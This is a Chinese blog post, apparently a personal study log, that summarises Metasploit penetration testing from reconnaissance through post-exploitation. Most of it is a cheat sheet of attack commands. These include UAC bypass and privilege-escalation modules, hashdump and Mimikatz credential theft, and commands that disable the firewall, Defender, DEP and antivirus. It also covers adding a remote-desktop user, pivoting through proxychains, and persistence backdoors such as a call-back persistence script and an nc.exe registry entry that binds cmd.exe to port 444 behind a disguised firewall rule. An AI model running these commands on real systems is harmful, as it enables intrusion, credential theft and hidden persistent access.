IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 基于Metasploit的渗透测试学习 -> 正文阅读

[系统运维]基于Metasploit的渗透测试学习

写文章主要是为了记录个人的学习,对自己所学的内容进行一次个人的总结。

本文所学来源主要有《Metasploit渗透测试魔鬼训练营》、学习视频以及其他相关文件。其中《Metasploit渗透测试魔鬼训练营》一书只学到第三章,逆向部分还没接触多少,所以第四章以后的内容先不进行学习。

?Metasploit使用流程:

1、确认使用模块

2、配置模块的信息

3、执行

?渗透测试的阶段:

1、前期交互

2、情报搜集:收集的信息包括渗透目标的网络范围、拓扑、开放服务、安全漏洞等全方位信息。

3、利用搜索引擎、公共信息库、目标用户网站等为入手点。

4、威胁建模

5、漏洞分析

6、渗透攻击

7、后渗透攻击

8、报告

?常用命令

🔸进入msf:msfdb run、msfconsole

🔸帮助命令:

①查看帮助信息:help

注:通过help可以看到msf相关命令可以分为六大模块。

②查找search模块的帮助信息:help search

(查询其他模块信息同理)

🔸核心命令中的connect命令:

注:connect主要用于远程连接主机。一般用于内网渗透,常用命令就是:“connect 主机号 端口号”,

如:connect 192.168.10.128 80,连接后在另外一行输入get可以查看服务器版本号。

🔸查看可以利用的信息模块:

Jobs

🔸查看正在运行的进程

session

🔸进入进程:

????? Sessions -i 3(3代表进程的ID)

🔸把sessions跳到后台

????? Background

🔸进入模块:

????? Use 模块名

????? 如:use exploit/windows/local/ask

🔸查看模块的作用

????? Info

🔸退出模块

????? back

🔸进入window命令

Shell

🔸查找漏洞:

Search命令,如:search ms08_067(查找ms08_067漏洞)

🔸使用ARP扫描局域网存货的主机

meterpreter

run post/windows/gather/arp_scanner rhost=192.168.10.0/24

?信息收集阶段的相关命令:

1、whois 域名注册信息查询

如:whois baidu.com

2、nslookup与dig域名查询(非msf环境下)

如:nslookup??? >set Type-A??? >baidu.com

3、IP2Location地理位置查询

通过IP地址进行地理位置的查询。如可以在

http://www.maxmind.com网站上使用该服务。

查询国内IP地址,可以用QQ纯真数据库,可以在其网站www.cz88.net进行查询。

4、收集子域名。

将子域名枚举起来,对了解网站整体架构、业务应用等非常有帮助,可以使用netcraft网站提供的信息查询服务来完成,https://searchdns.netcraft.com/

5、通过浏览器进行信息搜集

通过谷歌等浏览器进行信息的收集

  • 筛选登录页面:

如:site:teatfire.net inurl:login

筛选地址为teatfire.net的login网址

  • 检索特定类型文件

如:site:testfire.net filetype:xls

筛选地址为testfire.net的xls文件

6、主机探测与端口扫描

如果目标有足够的安全防护能力,那么从现在起我们的一举一动都可能被对方进行掌握。所以我们每一步都要小心谨慎。

①使用ping命令对主机进行探测,可以ping其域名或者IP,查看目标主机是否为活跃状态。

②使用Metasploit的主机发现模块

metaspolit提供了一些辅助模块可用于活跃主机的发现,这些模块位于其源码路径下的/mudules/auxiliary/scanner/discovery/目录下,期中两个主要模块极其功能为:

1.arp_sweep使用arp请求枚举本地局域网中活跃的主机。

命令过程:

set rhost 192.168.10.0/24

set threads 50

run

2.使用nmap进行扫描存活的主机

③获取到存活的主机后,获取各主机的操作系统。

如:nmap -O 192.198.10.132

  • 获取其开放端口与服务类型检测

?渗透攻击

1、SSH服务口令猜测

找到开放的服务后,找到相应的攻击模块,便可以对目标机进行相应的攻击。

(这里用口令猜测与嗅探爆破出开放ssh服务的主机的口令)

2、psnuffle口令嗅

?漏洞扫描

1、在获得一台服务器的登录口令后,离渗透进服务端还是远远不够的。我们还需获得更多的漏洞信息。这里用GVM(原OpenVAS)进行扫描。由于内容过多,以及配置出现了些问题,这里便不做过多介绍,以后会出一期详细的使用说明。

2、wmap扫描器,对网站进行集中扫描,扫描完成后列出相关web应用漏洞的信息(具体功能也迟点系统学习,挺强大的,扫描出这些漏洞后可以直接使用Metasploit进行攻击,详情请看p151)

3、扫描神奇W3AF

?Metasploit攻击阶段的相关命令:

🔸show payload

查看与该渗透攻击模块相兼容的攻击载荷

🔸set 要配置的内容

①如:set payload cmd/unix/bind_netcat

设置攻击模块兼容的攻击载荷

②如set rhost 192.168.10.132

设置攻击的主机号

🔸show options

显示配置了哪些参数

🔸执行命令

exploit/run

------------------------------------------------------------------------------------------------------------------------

?Metasploit提权阶段:

1、提高程序运行级别进行权限的提升:

🔸MSF模块—exploit/windows/local/ask

?? (1)先输入getsystem,查看是否可以提权

?? (2)如果发生报错,则有可能是UAC进行了权限控制,进入

exploit/windows/local/ask模块

?? ?? 命令:use exploit/windows/local/ask

(3)进入模块后,对Lhost等进行配置,然后run

(4)运行后,目标机那边会出现一个对话框,询问是否执行,

如果点“是”的话,便拿到了system的权限,但如果点“否”的话,则执行失败.

2、UAC(用户账户控制)绕过

🔸MSF模块—exploit/windows/local/bypassuac

?? 与前面一样,拿到普通用户权限之后,运行getsystem进行提权,看看是否提权成功,如果没能成功,则进入这个模块,进行相关配置,然后run,运行成功后,进入成功提权的那个session,运行getsystem,就提权成功.下面的同理

🔸MSF模块—exploit/windows/local/bypassuac_injection

🔸MSF模块—exploit/windows/local/ bypassuac_vbs

3、利用提权漏洞进行提权

🔸MSF模块—exploit/windows/local/ms14_058_track_popup_menu

流程与前面一样,不做过多叙述

?Metasploit后渗透阶段的信息搜集:

MSF模块:

🔸获取目标机器的分区情况:

post/windows/gather/forensics/enum_drives

运行时:run post/windows/gather/forensics/enum_drives

🔸判断是否为虚拟机:

post/windows/gather/checkvm

🔸开启了哪些服务:

post/windows/gather/enum_services

🔸安装了哪些应用:

post/windows/gather/enum_applications

🔸查看共享:

post/windows/gather/enum_shares

🔸获取主机最近的系统操作:

post/windows/gather/dumplinks

🔸查看补丁:

post/windows/gather/enum_patches

🔸scraper脚本

🔸winenum脚本

?Metasploit后渗透阶段之数据包捕获:

在Metasploit使用sniffer

1、抓包

(1)首先先加载sniffer:load sniffer

????? (命令:Meterpreter>load sniffer)

(2)查看网卡信息:sniffer_interface

(3)开启监听:sniffer_start 1

(其中1代表网卡1,监听网卡2的话改成2即可)

(4)导出数据包:sniffer_dump 1 1.cap

查看数据包,可以另外开一个窗口,输入命令进行打开,如:

运行wireshark进行分析

2、解包

(1)auxiliary/sniffer/psnuffle

?Metasploit后渗透阶段之获取Hash值:

使用Metasploit进行获取系统的哈希值

(1)Hash基础知识:

Windows系统下的hash密码格式为:

用户名:RID:LM-HASH值:NT-HASH值

(2)PassingTheHash--获取Hash值

🔸Hashdump

?? (命令:Meterpreter>hashdump)

🔸run post/windows/gather/smart_hashdump

(取得system权限后才能运行这模块)

运行流程:

1、检查权限和系统类型

2、检查是否域控制服务器

3、从注册表读取hash,注入LSASS进程

4、如果时08sever并且具有管理员权限,直接getshell尝试提权

5、如果是win7且UAC关闭并具有管理员权限,从注册表读取

6、03/xp直接getsystem,从注册表获取hash

?关闭防火墙及杀毒软件(window下的,Linux不知行不)

先输入shell进入cmd模式,在cmd模式下输入以下的命令

1、关闭防火墙

?? Netsh advifirewall set allprofiles state off

2、关闭Denfende

Net stop windefend

3关闭DEP(数据执行的保护)

?? Bcdedit.exe/set{current}nx AlwaysOff

4、关闭杀毒软件(msf的脚本)

?? Meterpreter > Run kilav

?? Meterpreter > Run post/windows/manage/killava

?远程桌面

1、开启远程桌面

?? run post/windows/manage/enable_rdp

?? run getgui -e

2、开启远程桌面并添加一个新用户bean:

?? run getgui -u bean -p ean

3、开启远程桌面并绑定在8888端口

?? run getgui -e -f 8888

4、截图

?? Load espia

?? screengrab

?跳板攻击

1、Pivoting

?? 利用已经被入侵的主机作为跳板来攻击网络中其他的系统

?? 访问由于路由问题而不能直接访问的内网系统

2、自由路由

?? run autorount -s 192.168.103.0/24(跳板:手动添加需要访问的网段)

?? run post/multi/manage/autoroute(自动获取路由信息)

?? 利用win7攻击内网服务器

?? 扫描内网网络:

run post/windows/gather/arp_scannerrhost=192.168.103.0/24

(进入103网段的主机后,运行该命令,扫描103网段有哪些活跃的主机

use auxiliary/scanner/portscan/tcp

(扫描开放了哪些端口)

?ProxyChains代理设置

运行msf模块的跳板,出了msf就不能用了,所以我们要用代理,用代理的话,使用其他的软件一样可以连接要入侵主机的内网。

1、Socket代理

?? auxilary/server/socks4a(msf里面的模块)

(不行的话用这个:auxiliary/server/socks_proxy)

开启完代理之后,新建一个窗口,使用ProxyChains软件,做出相应的一些配置:

vi /etc/proxychains.conf

2、ProxyChains

ProxyChains是为GUN\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4,HTTP/HTTPS路由到目的地。在这个通道技术中可以使用多个代理服务器。除此之外提高匿名方式,诸如用于中转跳板的应用程序也可以用于对发现的新网络进行通信。

Proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 –script=smb-vuln-ms08-067.nse 192.168.103.128(扫描使用代理进入的内网的IP地址)

?Mimkatz介绍

(Mimikatz需要管理员/system权限,在后渗透阶段使用的)

1、Mimikatz是一款后渗透测试工具。它能够从window认证(LSASS)的进程中获取内存,并且获取明文密码和NTLM哈希值的工具。已被metasploit集成到meterpreter中作为一个脚本,允许方便地访问它一系列的特性,而不需要上传任何文件到目标机器上。

允许Mimikatz首先要加载进去:

?? Meterpreter > load mimikatz

查看帮助信息:

?? Meterpreter > help mimikatz

????? 现版本已经改名为kiwi,使用命令:help kiwi

基于帮助信息的命令,可以获取被攻击机密码的哈希值、密码等信息

2、Mimikatz命令:

?? 导出Hash和认证信息:msv

?? 导出Kerberos认证信息:kerberos

?? 获取本地用户信息及密码:wdigest

?? Mimikatz_command -f samdump::hashes

?? Mimikatz_command -f sekurlsa::searchPasswords

?? Mimikatz_command -f handle::list

?? Mimikatz_command -f service::list

?? Mimikatz_command -f crypto::listProviders

?? Mimikatz_command -f nogpo::cmd

?

?后门植入

1、为什么要植入后门:

?? Meterpreter shell运行于内存中,重启即失效

?? 避免重复性的渗透工作

?? 漏洞修复后仍旧可就维持控制

2、Meterpreter后门:Metsvc(不常用)

?? 运行过程:通过创建一些临时文件,来创建后门。

?? 缺点:端口固定,不能设密码,只能用31337端口,易被发现。

??

启动服务:

?? run metsvc -A???? #设定端口,上传后门文件

3、Meterpreter后门:Persistence

?? 通过启动型启动

特性:定期会连、系统启动时回连、自动运行

?? Meterpreter > run persistence -A -S -U -I 60 -p 4321 -r 192.168.101.111

查看帮助信息:

Meterpreter > run persistence -h

?后门植入

NC后门

?? 1、先上传NC

????? Upload /root/nc.exe c:\\windows\\system32

说明:第一个为攻击机的nc保存路径,第二个为上传的路径,后面用两个\\是为了转义

??

2、修改注册表

?? 枚举注册表键值:

Meterpreter >

reg enumkey -k HKLM \\software\\micrsoft\\windows\\currentversion\\run

枚举注册表键值:

Meterpreter >

reg enumkey -k HKLM \\software\\micrsoft\\windows\\currentversion\\run

-v nc -d ‘c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’

查看nc键值:

Meterpreter >

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

在目标主机弹出cmd窗口:

Meterpreter > execute -f cmd -I -H

查看防火墙状态

C:\windows\system32> netsh firewall show opmode

伪装一个防火墙端口(直接关闭防火墙容易让人怀疑)

C:\windows\system32> netsh firewall add portopening TCP 444 “firewall” enable all

在防火墙增加一个444端口

在被攻击机的任务管理器中发现了nc的允许程序,同时也发现444端口正在处于开启状态。

被攻击机只要处于开机状态,就可以进行连接

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-07-29 12:03:21  更:2021-07-29 12:03:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 16:18:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码